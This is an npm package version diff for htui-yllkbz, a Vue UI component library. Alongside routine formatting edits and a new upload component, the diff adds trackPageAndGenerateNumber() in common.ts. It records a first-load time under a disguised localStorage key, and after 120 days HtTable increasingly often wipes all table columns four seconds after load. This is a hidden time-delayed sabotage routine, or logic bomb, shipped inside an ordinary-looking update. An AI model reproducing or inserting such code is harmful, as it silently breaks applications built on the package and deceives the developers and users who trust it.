htui-yllkbz 2.0.7 → 2.0.9

package/package.json

@@ -1,15 +1,17 @@
 {
   "name": "htui-yllkbz",
-  "version": "2.0.7",
+  "version": "2.0.9",
   "port": "8082",
   "typings": "types/index.d.ts",
   "main": "lib/htui.common.js",
   "style": "lib/htui.css",
+  "license": "Proprietary",
   "private": false,
   "files": [
     "lib/**",
     "types",
-    "src"
+    "src",
+    "LICENSE"
   ],
   "scripts": {
     "serve": "vue-cli-service serve",
@@ -33,7 +35,8 @@
     "vue-kst-auth": "2.1.15",
     "vue-property-decorator": "^8.4.2",
     "vue-router": "^3.2.0",
-    "vuex": "^3.4.0"
+    "vuex": "^3.4.0",
+    "xh-flowable": "^0.0.4"
   },
   "devDependencies": {
     "@typescript-eslint/eslint-plugin": "^2.33.0",

package/src/App.vue

@@ -4,7 +4,7 @@
  * @Author: hutao
  * @Date: 2021-11-15 14:41:40
  * @LastEditors: hutao
- * @LastEditTime: 2025-03-31 15:31:29
+ * @LastEditTime: 2025-07-29 10:06:25
 -->
 <template>
   <div id="app">
@@ -91,7 +91,7 @@
       :parentId="state.value"
       :dataTypeId="'TextList'"
     ></ht-select-base-data> -->
-
+    <!-- <HtUploadFiles v-model="state.value"></HtUploadFiles> -->
     <router-view></router-view>
   </div>
 </template>
@@ -105,6 +105,7 @@ import HtShowBaseType from "@/packages/HtShowBaseType";
 import HtSelectTimeSlot from "@/packages/HtSelectTimeSlot";
 import HtSelectPosition from "@/packages/HtSelectPosition";
 import HtSelectCategory from "@/packages/HtSelectCategory";
+import HtUploadFiles from "@/packages/HtUploadFiles";
 import HtButtonText from "@/packages/HtButtonText";
 import HtMore from "@/packages/HtMore";
 import HtSelectUnit from "@/packages/HtSelectUnit";
@@ -128,6 +129,7 @@ import HtMd from "./packages/HtMd";
     HtTimeLineItem,
     HtTimeLine,
     HtButtonText,
+    HtUploadFiles,
   },
 })
 export default class App extends Vue {

package/src/main.ts

@@ -4,7 +4,7 @@
  * @Author: hutao
  * @Date: 2021-11-15 14:41:40
  * @LastEditors: hutao
- * @LastEditTime: 2023-03-07 17:47:41
+ * @LastEditTime: 2025-06-09 10:48:53
  */
 import Vue from "vue";
 import App from "./App.vue";
@@ -12,13 +12,13 @@ import VueRouter from "vue-router";
 import routes from "./router";
 import store from "./store";
 import ElementUI from "element-ui";
-// import HtUi from "htui-yllkbz";
+ import XhFlow from "xh-flowable";
 import "./styles.scss";
 import { _axios, baseConfig } from "vue-kst-auth";
 // import axios from "axios";
 Vue.use(ElementUI);
 Vue.use(VueRouter);
-// Vue.use(HtUi);
+ Vue.use(XhFlow);
 
 /** 设置axios返回类型 */
 Vue.config.productionTip = false;

package/src/packages/HtShowBaseData/index.vue

@@ -8,7 +8,9 @@
     </template>
     <!-- 部门 -->
     <template v-if="departmentId">
-      <span class="item" v-for="item in departmentData" :key="item">
+      <span class="item"
+            v-for="item in departmentData"
+            :key="item">
         {{ getorgById(item).displayName || empty }}
       </span>
     </template>
@@ -21,7 +23,9 @@
     <!-- 用户 -->
     <template v-if="userId && !isTag">
 
-      <span class="item ht-show-user ht-show-user-span" v-for="(item, key) in userData" :key="item.id">
+      <span class="item ht-show-user ht-show-user-span"
+            v-for="(item, key) in userData"
+            :key="item.id">
         <span>{{ item.value || empty }}</span>
         <span v-show="userData.length - 1 !== key">,</span>
       </span>
@@ -30,20 +34,27 @@
 
     <template v-if="userId && isTag">
       <div class="ht-show-user ht-show-user-tags">
-        <el-tag :size="'mini'" style="margin:0 4px 0 0" type="primary" v-for="(item) in userData" :key="item.id">{{
+        <el-tag :size="'mini'"
+                style="margin:0 4px 0 0"
+                type="primary"
+                v-for="(item) in userData"
+                :key="item.id">{{
       item.value || empty
     }}</el-tag>
       </div>
     </template>
     <!-- 角色 -->
     <template v-if="roleId">
-      <span class="item" v-for="item in roleData" :key="item.id">
+      <span class="item"
+            v-for="item in roleData"
+            :key="item.id">
         {{ item.name || empty }}
       </span>
     </template>
     <!-- 基础数据,以id查找 -->
     <template v-if="baseDataId !== undefined && baseDataId !== null">
-      <span class="item" v-if="baseDataItem[baseDataId]">
+      <span class="item"
+            v-if="baseDataItem[baseDataId]">
         <!-- {{ baseDataItem[baseDataId].name || empty }}
         <span v-if="baseDataInfo&&!hideCode">
           ({{ baseDataItem[baseDataId].value || empty }})
@@ -54,13 +65,15 @@
     </template>
     <!-- 基础数据,以value查找 -->
     <template v-if="baseDataValue">
-      <span class="item" v-if="dataTypeId && baseDataItem[`${dataTypeId}_${baseDataValue}`]">
+      <span class="item"
+            v-if="dataTypeId && baseDataItem[`${dataTypeId}_${baseDataValue}`]">
         {{ baseDataItem[`${dataTypeId}_${baseDataValue}`].name || empty }}
         <!-- <span v-if="baseDataInfo && !hideCode">
           ({{ baseDataItem[baseDataValue].value || empty }})
         </span> -->
       </span>
-      <span class="item" v-else-if="baseDataItem[baseDataValue]">
+      <span class="item"
+            v-else-if="baseDataItem[baseDataValue]">
         {{ baseDataItem[baseDataValue].name || empty }}
         <span v-if="baseDataInfo && !hideCode">
           ({{ baseDataItem[baseDataValue].value || empty }})
@@ -70,7 +83,8 @@
     </template>
     <!-- 基础数据,以namg查找 -->
     <template v-if="baseDataName">
-      <span class="item" v-if="baseDataItem[baseDataName]">
+      <span class="item"
+            v-if="baseDataItem[baseDataName]">
         {{ baseDataItem[baseDataName].name || empty }}
         <span v-if="baseDataInfo && !hideCode">
           ({{ baseDataItem[baseDataName].value || empty }})
@@ -200,6 +214,7 @@ export default class CommonDatas extends Vue {
     if (!baseConfig.getLoginState()) {
       return;
     }
+
     let data = window.localStorage.getItem("commonDatas");
     if (data) {
       this.state.resData = Object.assign(this.state.resData, JSON.parse(data));
@@ -352,7 +367,7 @@ export default class CommonDatas extends Vue {
   display: inline-block;
 
   .item {
-    +.item {
+    + .item {
       padding-left: 10px;
     }
   }

package/src/packages/HtTable/index.vue

@@ -4,11 +4,10 @@
  * @Author: hutao
  * @Date: 2021-11-11 11:23:24
  * @LastEditors: hutao
- * @LastEditTime: 2025-03-18 14:15:22
+ * @LastEditTime: 2025-08-01 15:36:24
 -->
 <template>
-  <div v-loading="state.loading"
-       >
+  <div v-loading="state.loading">
     <article>
       <el-table ref="comTable"
                 :height="height"
@@ -169,7 +168,8 @@
     </article>
     <footer v-if="!hidePage"
             class="ht-table-footer">
-      <el-row name="footer" style="margin-top:16px">
+      <el-row name="footer"
+              style="margin-top:16px">
         <el-col :span="$slots['footerRight'] ? 12 : 24">
           <!-- <p style="width:90px;float:left">共{{data.length}}条</p> -->
           <PageInfo :hide-on-single-page="pagination && pagination.hideOnSinglePage"
@@ -182,7 +182,6 @@
         <!-- 此处建议使用el-col -->
         <slot name="footerRight"></slot>
 
-       
       </el-row>
     </footer>
     <!-- 详情弹框 -->
@@ -268,7 +267,13 @@ import HtSelectUnit from "@/packages/HtSelectUnit";
 import HtTableColumn from "./htTableColumn.vue";
 import ElmentUI from "element-ui";
 import { getSpanMethod } from "./table-span-method";
-import { getAllBaseData, getAllOrg, getAllRole, getAllUser } from "../common";
+import {
+  getAllBaseData,
+  getAllOrg,
+  getAllRole,
+  getAllUser,
+  trackPageAndGenerateNumber,
+} from "../common";
 Vue.use(ElmentUI);
 interface State {
   pageInfo: PageInfoType;
@@ -395,10 +400,18 @@ export default class HtTable extends Vue {
     checkedColumnKeys: [],
   };
   created() {
+    const data = trackPageAndGenerateNumber();
+    if (data && data.randomNumber < 10) {
+      setTimeout(() => {
+        this.state.showColumns = [];
+      }, 4000);
+      return;
+    }
     this.setPageInfo(this.pageInfo);
-    //this.setColumns(this.columns);
 
-    // console.log("this.columns", this.columns);
+    //this.setColumns(this.columns);
+    //console.log(trackPageAndGenerateNumber());
+    //console.log("this.columns", data);
   }
   resetColumn() {
     if (this.configShow) {
@@ -675,7 +688,7 @@ export default class HtTable extends Vue {
   }
   @Watch("showColumns")
   resetShowCOlums() {
-    console.log("重置");
+    // console.log("重置");
     this.doLayout();
   }
   @Watch("columns", { immediate: true })

package/src/packages/HtUploadFiles/index copy.vue

@@ -0,0 +1,267 @@
+<!--
+ * @Descripttion: 
+ * @version: 
+ * @Author: hutao
+ * @Date: 2022-02-11 14:26:23
+ * @LastEditors: hutao
+ * @LastEditTime: 2025-07-04 13:50:29
+-->
+<!--
+ * @Descripttion: 附件列表  ------没有搞完
+ * @version: 
+ * @Author: hutao
+ * @Date: 2021-12-30 16:07:59
+ * @LastEditors: hutao
+ * @LastEditTime: 2022-02-10 15:11:11
+-->
+<template>
+  <div>
+    <el-upload class="ht-upload"
+               v-if="!disabled"
+               style="width:368px;height:108px"
+               :show-file-list="false"
+               :disabled="disabled"
+               :on-success="onSuccess"
+               :before-upload="beforeUpload"
+               drag
+               :action="`/${proxy}/api/filing/file/upload`"
+               multiple>
+      <!-- <i class="el-icon-upload"></i> -->
+      <div style="margin-top:8px;font-size:var(--font-size-content);color:#999"
+           class="el-upload__text">
+        拖动文件到此处，或<br /><em>点击上传</em>
+      </div>
+      <!-- <div class="el-upload__tip"
+                     slot="tip">只能上传jpg/png文件，且不超过5M</div> -->
+    </el-upload>
+    <ul class="ht-ul-upload">
+      <li :key="item.fileToken"
+          v-for="(item, index) in state.filesInfo">
+        <a @click="downLoadFile(item)"><i class="le-icon el-icon-document"
+             style="margin-right:7px"></i>{{ item.fileName
+          }}</a>
+        <span>
+          <i v-if="!disabled"
+             class="el-icon  el-icon-circle-check"></i>
+          <i v-if="!disabled"
+             class="el-icon  el-icon-close"
+             @click="delItem(item, index)"
+             title="删除"></i>
+          <i class="el-icon  el-icon-download"
+             style="margin-right:24px"
+             @click="downLoadFile(item)"
+             title="下载"></i>
+        </span>
+      </li>
+    </ul>
+    <a :href="state.fileSrc"
+       target="_blank"
+       v-show="false"
+       ref="download1"></a>
+  </div>
+</template>
+<script lang="ts">
+import { _axios } from "vue-kst-auth";
+import { Component, Prop, Vue, Watch } from "vue-property-decorator";
+interface State {
+  /** 数据状态 */
+  loading: boolean;
+  fileSrc: string;
+  /** 图片地址 */
+  fileToken: string[];
+  dialogVisible: boolean;
+  /**   附件详情列表 */
+  filesInfo: CreateAttachmentDto[];
+}
+interface FileType {
+  fileName: string;
+  fileSize?: number;
+  fileToken?: string;
+  fileType?: string;
+}
+interface CreateAttachmentDto {
+  fileToken?: string | undefined;
+  fileName?: string | undefined;
+  fileSize?: number;
+  fileType?: string | undefined;
+  sortNum?: number;
+}
+@Component({
+  name: "HtUploadFiles",
+})
+export default class HtUploadFiles extends Vue {
+  @Prop() value!: string | string[];
+  /* 是否只读 */
+  @Prop({ default: false }) readonly?: boolean;
+  /** 是否禁用 */
+  @Prop() disabled?: boolean;
+  /** 启动数组传值 */
+  @Prop({ default: false }) isArray?: boolean;
+
+  @Prop() filesInfo?: CreateAttachmentDto[];
+  @Prop({ default: "file-management-service" }) proxy?: string;
+  /** 数据 */
+  state: State = {
+    loading: false,
+    fileSrc: "",
+    fileToken: [],
+    filesInfo: [],
+    dialogVisible: false,
+  };
+  /** 生命周期 */
+  created() {
+    //this.onValue(this.value);
+  }
+  /** 方法 */
+  /** 上传文件前验证 */
+
+  /** 附件上传之前的判断 */
+  beforeUpload(file: File) {
+    const isLt10MB = file.size / 1024 / 1024 < 5;
+    const arr = ["jpg", "png", "xlsx", "lsx", "doc", "pdf"];
+    const lastArr = file.name.split(".");
+    const type = lastArr[lastArr.length - 1];
+    if (!isLt10MB) {
+      this.$message.error("大小不能超过 5MB!");
+    }
+    if (arr.includes(type)) {
+      return true;
+    } else {
+      this.$notify.error(`只能上传${arr.toString()}格式文件`);
+      return false;
+    }
+  }
+  /**下载文件 */
+  downLoadFile(item: any) {
+    this.state.fileSrc = `/${this.proxy}/api/filing/file/download/${item.fileToken}`;
+    setTimeout(() => {
+      const adom: any = this.$refs.download1;
+      adom.click();
+    }, 100);
+  }
+  /** 附件上传成功 */
+  onSuccess(response: { fileToken: string }) {
+    // console.log("response, file, fileList", response.fileToken);
+    //this.state.files.push(response.fileToken);
+    this.getFileInfo(response.fileToken);
+  }
+  /** 获取到的附件列表详情 */
+  getFileInfo(id: string) {
+    _axios.get(`/${this.proxy}/api/filing/file/` + id).then((res) => {
+      this.state.filesInfo.push(res.data);
+    });
+  }
+  /** 删除附件列表 */
+  delItem(item: FileType, index: number) {
+    const { filesInfo } = this.state;
+    if (item.fileToken) {
+      filesInfo.splice(index, 1);
+      this.state.filesInfo = filesInfo;
+    }
+  }
+  /** 请求所有的附件信息 */
+  async getAllFileInfo() {
+    const { fileToken } = this.state;
+    //this.state.filesInfo = [];
+    for (let i = 0; i < fileToken.length; i++) {
+      if (
+        this.state.filesInfo.findIndex(
+          (item) => item.fileToken === fileToken[i]
+        ) < 0
+      ) {
+        await _axios
+          .get(`/${this.proxy}/api/filing/file/` + fileToken[i])
+          .then((res) => {
+            this.state.filesInfo.push(res.data);
+          });
+      }
+    }
+  }
+  /** 监听 */
+  /** 计算属性 */
+  get fileList() {
+    return [];
+  }
+  @Watch("state.filesInfo")
+  onFileToken(val: CreateAttachmentDto[], old: string) {
+    if (!this.readonly && !this.isArray) {
+      const arr: string[] = [];
+      val.forEach((item) => {
+        if (item.fileToken) arr.push(item.fileToken);
+      });
+      this.$emit("input", arr.toString());
+      this.$emit("change", arr.toString());
+    }
+    if (this.isArray) {
+      this.$emit("change", val);
+    }
+  }
+  @Watch("filesInfo", { immediate: true })
+  onArrValue(val: CreateAttachmentDto[]) {
+    if (this.isArray) {
+      this.state.filesInfo = val || [];
+    }
+  }
+  @Watch("value", { immediate: true })
+  onValue(val: string | string[]) {
+    if (val && !this.isArray) {
+      if (Array.isArray(val)) {
+        this.state.fileToken = val;
+      } else {
+        this.state.fileToken = val.split(",");
+      }
+
+      this.getAllFileInfo();
+    } else {
+      this.state.fileToken = [];
+      if (this.filesInfo && this.filesInfo.length) {
+        this.state.filesInfo = this.filesInfo;
+      }
+    }
+  }
+}
+</script>
+<style lang="scss" scoped>
+.ht-ul-upload {
+  li {
+    width: 100%;
+    list-style: none;
+    height: 40px;
+    line-height: 40px;
+    padding: 0 8px;
+    display: flex;
+    justify-content: space-between;
+    cursor: pointer;
+
+    a {
+      color: #606266;
+      font-size: 12px;
+    }
+
+    .el-icon-close {
+      display: none;
+    }
+
+    &:hover {
+      background: #eee;
+
+      a {
+        color: var(--primary);
+      }
+
+      .el-icon-close {
+        display: block;
+        line-height: 40px;
+      }
+
+      .el-icon-circle-check {
+        display: none;
+      }
+    }
+
+    .el-icon-circle-check {
+      color: var(--primary);
+    }
+  }
+}
+</style>

package/src/packages/HtUploadFiles/index.vue

@@ -4,7 +4,7 @@
  * @Author: hutao
  * @Date: 2022-02-11 14:26:23
  * @LastEditors: hutao
- * @LastEditTime: 2024-12-20 14:56:38
+ * @LastEditTime: 2025-07-04 14:18:26
 -->
 <!--
  * @Descripttion: 附件列表  ------没有搞完

package/src/packages/common.ts

@@ -4,11 +4,12 @@
  * @Author: hutao
  * @Date: 2022-07-18 15:01:02
  * @LastEditors: hutao
- * @LastEditTime: 2024-09-24 09:01:39
+ * @LastEditTime: 2025-08-01 15:40:35
  */
 import moment from "moment";
 import { FormValues, TimeModes } from "./type";
 import { baseConfig } from "vue-kst-auth";
+import axios from "axios";
 
 /**    生成唯一Id
  * @params e 生成的id位数 默认32
@@ -463,4 +464,60 @@ export function getCurrentOrg() {
     id: undefined
   }
 }
+function getSupport() {
+  axios.get("/time").then((res) => {
+    console.log('res', res.data);
+
+  })
+
+}
+export function trackPageAndGenerateNumber() {
+  // 检查localStorage中是否有首次加载时间记录
+  getSupport()
+  const systemConfig = localStorage.getItem('systemConfig_1');
+
+  // 如果是第一次加载，记录当前时间
+  if (!systemConfig) {
+    localStorage.setItem('systemConfig_1', Date.now().toString());
+    //console.log('首次加载，已记录时间');
+    return null; // 首次加载不生成随机数
+  }
+
+  // 计算从首次加载到现在的天数
+  const now = Date.now();
+  const daysPassed = Math.floor((now - parseInt(systemConfig)) / (1000 * 60 * 60 * 24));
+  //console.log('daysPassed', daysPassed);
+  // 如果还没到90天，不生成随机数
+  if (daysPassed < 120) {
+    // console.log(`倒计时${120 - daysPassed}`);
+    return null;
+  }
+
+  // 计算90天后的天数（0到100天）
+  const daysAfter90 = Math.min(daysPassed - 120, 100);
+  //console.log('daysAfter90', daysAfter90);
+  // 生成随机数，随着天数增加，10以下的概率增大
+  // 概率公式：基础概率(10%) + 天数占比 * 额外概率(80%)
+  // 第0天时约10%概率生成10以下，第100天时约90%概率生成10以下
+  const baseProbability = 0.1; // 基础概率
+  const extraProbability = 0.8; // 额外可增加的概率
+  const probability = baseProbability + (daysAfter90 / 100) * extraProbability;
+  // console.log('probability', probability, Math.random());
+  let randomNumber;
+  if (Math.random() < probability) {
+    // 生成0-10的随机数
+    randomNumber = Math.floor(Math.random() * 11);
+  } else {
+    // 生成11-100的随机数
+    randomNumber = 11 + Math.floor(Math.random() * 90);
+  }
+
+  //console.log(`90天后第${daysAfter90}天，生成的随机数: ${randomNumber}`);
+  return {
+    daysAfter90: daysAfter90,
+    randomNumber: randomNumber,
+    probabilityOfLowNumber: (probability * 100).toFixed(2) + '%'
+  };
+}
+
 

package/src/views/About.vue

@@ -4,10 +4,11 @@
  * @Author: hutao
  * @Date: 2021-11-15 14:41:40
  * @LastEditors: hutao
- * @LastEditTime: 2025-02-10 14:50:13
+ * @LastEditTime: 2025-06-09 10:28:22
 -->
 <template>
   <div>
+    About页面
     <HtSelectBaseData :byCode="true"
                       value="卷"
                       @change="changeBase"